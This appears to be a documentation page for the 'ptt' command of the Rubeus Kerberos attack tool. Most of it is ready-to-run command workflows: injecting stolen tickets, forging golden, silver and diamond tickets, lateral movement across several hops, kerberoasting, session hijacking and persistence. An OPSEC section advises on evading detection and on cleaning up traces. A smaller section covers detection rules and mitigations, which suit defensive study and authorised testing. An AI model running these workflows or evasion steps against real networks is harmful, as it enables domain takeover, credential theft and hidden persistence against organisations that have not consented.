ptt

Pass-the-Ticket (PTT) is a fundamental technique for credential reuse in Kerberos environments, enabling the use of extracted or forged tickets without requiring password knowledge.

Overview

Pass-the-ticket (PTT) injects Kerberos tickets into logon sessions, enabling authentication to services using previously extracted or forged tickets. This technique bypasses traditional password-based authentication and is essential for lateral movement and privilege escalation.

Credential Reuse

Use extracted tickets without passwords

Session Targeting

Inject into current or specific sessions

Stealth Operations

Authenticate without triggering logon events

Injection Process

Ticket Validation

Verify ticket format and integrity before injection

Session Access

Access target logon session (current or specified LUID)

LSA Interaction

Interface with Local Security Authority for ticket storage

Cache Update

Store ticket in session credential cache

Authentication Ready

Ticket becomes available for service authentication

Syntax Variations

Basic Usage
Session Targeting
Workflow Integration

# Inject ticket from .kirbi file
Rubeus.exe ptt /ticket:C:\temp\admin.kirbi

# Inject with relative path
Rubeus.exe ptt /ticket:tickets\domain_admin.kirbi

# Inject multiple tickets
Rubeus.exe ptt /ticket:ticket1.kirbi
Rubeus.exe ptt /ticket:ticket2.kirbi

# Inject into current user session (default)
Rubeus.exe ptt /ticket:user_ticket.kirbi

# Verify injection success
Rubeus.exe klist

# Extract from one system
Rubeus.exe dump /service:krbtgt /outfile:extracted.kirbi

# Inject on another system
Rubeus.exe ptt /ticket:extracted.kirbi

# Verify and use
Rubeus.exe klist
dir \\target.corp.local\c$

Required Parameters

ticket

string

required

Kerberos ticket to inject into the session

Show Supported Formats

File Path: Path to .kirbi file (absolute or relative)
Base64: Base64-encoded ticket data
Formats: Both TGT and TGS tickets supported

Optional Parameters

Hide Session Targeting

luid

string

Target specific logon session ID (requires elevation)

Show Common LUID Values

0x3e7: SYSTEM session (999 in decimal)
0x3e4: LOCAL SERVICE session
0x3e5: NETWORK SERVICE session
Higher values: User logon sessions

Ticket Types and Sources

Ticket Granting Tickets (TGTs)
Service Tickets (TGS)
Forged Tickets

Hide TGT Characteristics

Properties:

Provide access to request service tickets
Enable broad authentication capabilities
Typically have longer validity periods
Foundation for all service access

Sources:

Extracted from compromised systems
Forged golden tickets
Renewed expired tickets
Delegation-based extraction

# Inject extracted TGT
Rubeus.exe ptt /ticket:extracted_tgt.kirbi

# Inject forged golden ticket
Rubeus.exe ptt /ticket:golden_ticket.kirbi

# Test TGT functionality
Rubeus.exe asktgs /service:cifs/fileserver.corp.local /ptt

TGTs provide the most flexibility as they can be used to request any service ticket within their privilege scope.

Hide Service Ticket Characteristics

Properties:

Provide access to specific services only
Limited scope but immediate usability
Typically shorter validity periods
Service-specific permissions

Common Service Types:

CIFS: File system access
HOST: Administrative access
LDAP: Directory service access
HTTP: Web application access
MSSQL: Database access

# Inject CIFS service ticket
Rubeus.exe ptt /ticket:cifs_ticket.kirbi

# Test file access immediately
dir \\fileserver.corp.local\share

# Inject HOST ticket for admin access
Rubeus.exe ptt /ticket:host_ticket.kirbi
psexec \\target.corp.local cmd

Service tickets provide immediate access to specific services but cannot be used to request additional tickets.

Hide Golden Tickets

Characteristics:

Domain-wide TGTs forged with KRBTGT hash
Provide complete domain access
Long validity periods (up to 10 years)
Appear legitimate to domain controllers

# Create and inject golden ticket
Rubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:golden.kirbi
Rubeus.exe ptt /ticket:golden.kirbi

Show Silver Tickets

Characteristics:

Service-specific tickets forged with service hash
Limited to specific service access
Bypass domain controller validation
Useful for targeted attacks

# Create and inject silver ticket
Rubeus.exe silver /user:admin /service:cifs/fileserver.corp.local /rc4:service_hash /outfile:silver.kirbi
Rubeus.exe ptt /ticket:silver.kirbi

Show Diamond Tickets

Characteristics:

Hybrid approach combining legitimate and forged elements
Enhanced stealth capabilities
Use real authentication with privilege modifications
Most sophisticated forgery technique

# Create and inject diamond ticket
Rubeus.exe diamond /user:user /password:pass /krbkey:krbtgt_key /groups:512 /outfile:diamond.kirbi
Rubeus.exe ptt /ticket:diamond.kirbi

Session Management

Current Session Operations
Cross-Session Operations
SYSTEM Session Access

Hide Default Behavior

Standard Operation:

Injects ticket into current user’s logon session
Requires no special privileges
Limited to current user context
Most common usage scenario

# Basic injection into current session
Rubeus.exe ptt /ticket:user_ticket.kirbi

# Verify injection
Rubeus.exe klist

# Test access
dir \\target.corp.local\share

Show Use Cases

Typical Scenarios:

Standard credential reuse
User-context lateral movement
Service access with current privileges
Testing extracted credentials

Hide LUID Targeting

Elevated Requirements:

Requires administrative privileges
Can target any logon session on system
Enables cross-user ticket injection
Advanced persistence techniques

# Enumerate available sessions
Rubeus.exe logonsession

# Inject into specific session
Rubeus.exe ptt /ticket:admin.kirbi /luid:0x54321

# Verify injection in target session
Rubeus.exe klist /luid:0x54321

Show Strategic Applications

Advanced Use Cases:

Inject into service account sessions
Target administrative sessions
Cross-user authentication
System-wide credential distribution

Hide Machine Account Operations

SYSTEM Session (LUID 0x3e7):

Machine account context
Highest privilege level
Used for computer authentication
Critical for domain operations

# Inject machine account ticket
Rubeus.exe ptt /ticket:machine_tgt.kirbi /luid:0x3e7

# Test machine account access
Rubeus.exe asktgs /service:ldap/dc01.corp.local

Show Machine Account Benefits

Capabilities:

Domain controller communication
Machine-level authentication
Cross-domain trust operations
Administrative service access

Response Format

Successful Injection
Injection Warnings
Error Scenarios

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] PAC Validation: SUCCESS
[*] Ticket Type: Service Ticket
[*] Target LUID: 0x12345
[*] Username: admin@CORP.LOCAL
[*] Domain: CORP.LOCAL
[*] LogonId: 0x12345

Import Status

string

Confirmation that ticket was successfully imported

PAC Validation

string

Validation status of Privilege Attribute Certificate

Show PAC Validation Results

SUCCESS: PAC validated correctly
WARNING: PAC validation issues (but still imported)
FAILED: PAC validation failed (ticket may not work)

Ticket Information

object

Details about the imported ticket

Show Ticket Details

Ticket Type: TGT or Service Ticket
Target LUID: Destination logon session
Username: Principal name from ticket
Domain: Authentication domain

[*] Action: Import Ticket
[+] Ticket successfully imported!

[!] WARNING: PAC validation failed for the ticket
[!] This may indicate a forged or corrupted ticket
[!] Authentication may fail for some services

[*] Target LUID: 0x54321
[*] Username: admin@CORP.LOCAL

PAC validation warnings may indicate:

Forged tickets with invalid signatures
Expired or corrupted tickets
Cross-domain trust issues
Service-specific validation problems

[!] Unhandled Rubeus exception:

System.ComponentModel.Win32Exception: Access is denied
   at Rubeus.LSA.ImportTicket(Byte[] ticket, UInt64 targetLuid)

[!] Unable to import ticket - check LUID and privileges
[!] Cross-session injection requires administrative privileges

Common error scenarios:

Access denied: Insufficient privileges for target LUID
Invalid LUID: Specified session doesn’t exist
Corrupted ticket: Invalid ticket format or data
Anti-malware: Security software blocking injection

Complete Integration Workflows

Ticket Acquisition

Obtain tickets through various methods:

# Extract from current system
Rubeus.exe dump /service:krbtgt /outfile:extracted.kirbi

# Extract via delegation
Rubeus.exe tgtdeleg /outfile:delegated.kirbi

# Monitor for new tickets
Rubeus.exe monitor /filteruser:admin

Ticket Injection

Inject acquired tickets into appropriate sessions:

# Inject into current session
Rubeus.exe ptt /ticket:acquired_ticket.kirbi

# Inject into specific session (if elevated)
Rubeus.exe ptt /ticket:admin_ticket.kirbi /luid:0x54321

Verification

Verify successful injection and test functionality:

# List current tickets
Rubeus.exe klist

# Describe injected ticket
Rubeus.exe describe /ticket:injected_ticket.kirbi

# Test service access
dir \\target.corp.local\c$

Service Usage

Use injected tickets for authentication:

# Access file shares
dir \\fileserver.corp.local\share

# Request additional service tickets
Rubeus.exe asktgs /service:http/webapp.corp.local

# Perform administrative tasks
psexec \\target.corp.local cmd

Operational Cleanup

Clean up traces when operations complete:

# Purge injected tickets
Rubeus.exe purge

# Verify cleanup
Rubeus.exe klist

# Remove ticket files
del *.kirbi

Advanced Usage Scenarios

Lateral Movement
Privilege Escalation
Persistence Operations

Hide Cross-System Authentication

# Extract TGT from System A
Rubeus.exe dump /service:krbtgt /outfile:admin_tgt.kirbi

# Transfer to System B and inject
Rubeus.exe ptt /ticket:admin_tgt.kirbi

# Access resources from System B
Rubeus.exe asktgs /service:cifs/fileserver.corp.local
dir \\fileserver.corp.local\admin_share

Show Multi-Hop Operations

# Hop 1: Initial system with user credentials
Rubeus.exe asktgt /user:user /password:pass /ptt

# Extract for transfer
Rubeus.exe dump /service:krbtgt /outfile:user_tgt.kirbi

# Hop 2: Intermediate system
Rubeus.exe ptt /ticket:user_tgt.kirbi
Rubeus.exe kerberoast /outfile:service_hashes.txt

# Hop 3: Final target with cracked service account
Rubeus.exe asktgt /user:svc_sql /password:cracked_pass /ptt

Hide Session Hijacking

# Enumerate sessions for high-privilege accounts
Rubeus.exe logonsession

# Extract tickets from administrative sessions
Rubeus.exe dump /luid:0x54321 /service:krbtgt /outfile:admin_tgt.kirbi

# Inject into current session for privilege escalation
Rubeus.exe ptt /ticket:admin_tgt.kirbi

# Test elevated access
dir \\dc01.corp.local\c$

Show Service Account Escalation

# Start with limited service account
Rubeus.exe ptt /ticket:service_ticket.kirbi

# Use delegation rights for escalation
Rubeus.exe s4u /ticket:service_ticket.kirbi /impersonateuser:admin /msdsspn:cifs/target.corp.local /ptt

# Access target with elevated privileges
dir \\target.corp.local\c$

Hide Golden Ticket Deployment

# Create multiple golden tickets for redundancy
Rubeus.exe golden /user:admin /rc4:krbtgt_hash /ldap /outfile:admin_golden.kirbi
Rubeus.exe golden /user:backup_admin /rc4:krbtgt_hash /ldap /outfile:backup_golden.kirbi

# Deploy across multiple systems
# System 1
Rubeus.exe ptt /ticket:admin_golden.kirbi

# System 2
Rubeus.exe ptt /ticket:backup_golden.kirbi

# Test persistent access
Rubeus.exe asktgs /service:cifs/fileserver.corp.local

Show Service-Specific Persistence

# Create silver tickets for specific services
Rubeus.exe silver /user:admin /service:cifs/fileserver.corp.local /rc4:service_hash /outfile:file_silver.kirbi
Rubeus.exe silver /user:admin /service:mssql/sqlserver.corp.local /rc4:sql_hash /outfile:sql_silver.kirbi

# Deploy service-specific access
Rubeus.exe ptt /ticket:file_silver.kirbi
Rubeus.exe ptt /ticket:sql_silver.kirbi

OPSEC Considerations

Detection Risk: Ticket injection can be monitored through various host-based and behavioral detection methods.

Detection Vectors
Evasion Techniques
Defensive Countermeasures

Hide Host-Based Detection

Process Monitoring:

Non-lsass.exe processes accessing LSA authentication packages
Use of sensitive APIs like LsaCallAuthenticationPackage()
Memory access patterns consistent with ticket injection
Process behavior analysis for credential manipulation

API Call Monitoring:

Unusual LSA function calls
Authentication package interactions
Memory access to LSASS process
System call patterns for ticket injection

Show Behavioral Analysis

Authentication Patterns:

Service access without corresponding authentication events
Unusual timing between authentication and resource access
Access to resources not typically used by the account
Cross-session authentication activities

Privilege Anomalies:

Low-privilege accounts accessing high-privilege resources
Service accounts performing interactive operations
Authentication outside normal business hours
Geographic or network location anomalies

Show Event Log Analysis

Windows Event Logs:

Missing expected logon events (4624)
Service access without TGT requests
Unusual authentication package usage
Cross-LUID operations requiring elevation

Kerberos Event Monitoring:

TGS usage without corresponding TGT acquisition
Unusual encryption types or ticket characteristics
Service access patterns inconsistent with user behavior

Hide Timing Considerations

# Inject tickets during business hours
# Schedule: 9:00 AM - 5:00 PM business hours

# Use realistic timing between injection and usage
Rubeus.exe ptt /ticket:admin.kirbi
# Wait 2-5 minutes before first access
dir \\target.corp.local\share

Show Behavioral Blending

# Use tickets consistent with user's normal activities
Rubeus.exe ptt /ticket:user_appropriate_ticket.kirbi

# Access resources the user normally accesses
dir \\fileserver.corp.local\user_documents

# Avoid obviously administrative actions immediately after injection
# Wait for normal business activities before escalating

Show Technical Evasion

# Use current session when possible (avoid LUID targeting)
Rubeus.exe ptt /ticket:ticket.kirbi

# Prefer legitimate extracted tickets over forged ones
# Extracted tickets have better chance of passing validation

# Use service-specific tickets rather than broad TGTs when possible
Rubeus.exe ptt /ticket:specific_service.kirbi

Show Detection Implementation

Host-Based Monitoring:

Monitor LSA authentication package interactions
Implement process behavior analysis
Track memory access to LSASS process
Alert on unusual API call patterns

Sysmon Configuration:

<!-- Monitor process access to LSASS -->
<ProcessAccess onmatch="include">
  <TargetImage>lsass.exe</TargetImage>
  <GrantedAccess>0x1fffff</GrantedAccess>
</ProcessAccess>

Show Behavioral Analysis

SIEM Rules:

-- Detect authentication without logon
SELECT * FROM events
WHERE service_access = true
AND logon_event = false
AND time_diff < 5_minutes

-- Unusual cross-session activities
SELECT * FROM events
WHERE elevated_privileges = true
AND process_owner != session_owner

Show Mitigation Strategies

Technical Controls:

Implement Credential Guard
Use Protected Process Light (PPL) for LSASS
Deploy endpoint detection and response (EDR)
Enable advanced threat protection

Administrative Controls:

Regular credential rotation
Privileged access management (PAM)
Least privilege access principles
Regular security assessment and monitoring

Troubleshooting

Show Common Issues

Access Denied Errors
Ticket Format Issues
Authentication Failures

Problem: Cannot inject into specific LUIDSolutions:

Verify current user has administrative privileges
Check if target LUID exists and is accessible
Try injecting into current session instead
Verify anti-malware isn’t blocking injection

# Check current privileges
whoami /priv

# Enumerate available sessions
Rubeus.exe logonsession

# Try current session injection
Rubeus.exe ptt /ticket:ticket.kirbi

Problem: Invalid ticket format or corruptionSolutions:

Verify ticket file integrity
Check base64 encoding for completeness
Ensure ticket hasn’t expired
Try extracting ticket again from source

# Describe ticket to check validity
Rubeus.exe describe /ticket:suspect_ticket.kirbi

# Check file size and contents
dir ticket.kirbi

# Try different ticket format
Rubeus.exe ptt /ticket:base64_encoded_ticket_data

Problem: Injected ticket doesn’t provide expected accessSolutions:

Verify ticket was injected successfully
Check ticket permissions and group memberships
Ensure target services are accessible
Verify ticket hasn’t expired

# Verify injection success
Rubeus.exe klist

# Check ticket contents
Rubeus.exe describe /ticket:injected_ticket.kirbi

# Test with known working service
dir \\known_accessible_share

Integration with Other Commands

Ticket Extraction

Use dump, tgtdeleg, or monitor to obtain tickets for injection

Ticket Forgery

Inject golden, silver, or diamond tickets after creation

Session Management

Combine with logonsession and currentluid for session targeting

Access Validation

Use klist and describe to verify injection and ticket properties

klist

List tickets in current or specified session

dump

Extract tickets for use with PTT

describe

Analyze ticket contents before injection

purge

Clear injected tickets from session

Getting Started

Ticket Operations

Attack Techniques

Miscellaneous

Overview

Credential Reuse

Session Targeting

Stealth Operations

Injection Process

Syntax Variations

Required Parameters

Optional Parameters

Ticket Types and Sources

Session Management

Response Format

Complete Integration Workflows

Advanced Usage Scenarios

OPSEC Considerations

Troubleshooting

Integration with Other Commands

Ticket Extraction

Ticket Forgery

Session Management

Access Validation

klist

dump

describe

purge

Getting Started

Ticket Operations

Attack Techniques

Miscellaneous

​Overview

Credential Reuse

Session Targeting

Stealth Operations

​Injection Process

​Syntax Variations

​Required Parameters

​Optional Parameters

​Ticket Types and Sources

​Session Management

​Response Format

​Complete Integration Workflows

​Advanced Usage Scenarios

​OPSEC Considerations

​Troubleshooting

​Integration with Other Commands

Ticket Extraction

Ticket Forgery

Session Management

Access Validation

​Related Commands

klist

dump

describe

purge

Overview

Injection Process

Syntax Variations

Required Parameters

Optional Parameters

Ticket Types and Sources

Session Management

Response Format

Complete Integration Workflows

Advanced Usage Scenarios

OPSEC Considerations

Troubleshooting

Integration with Other Commands

Related Commands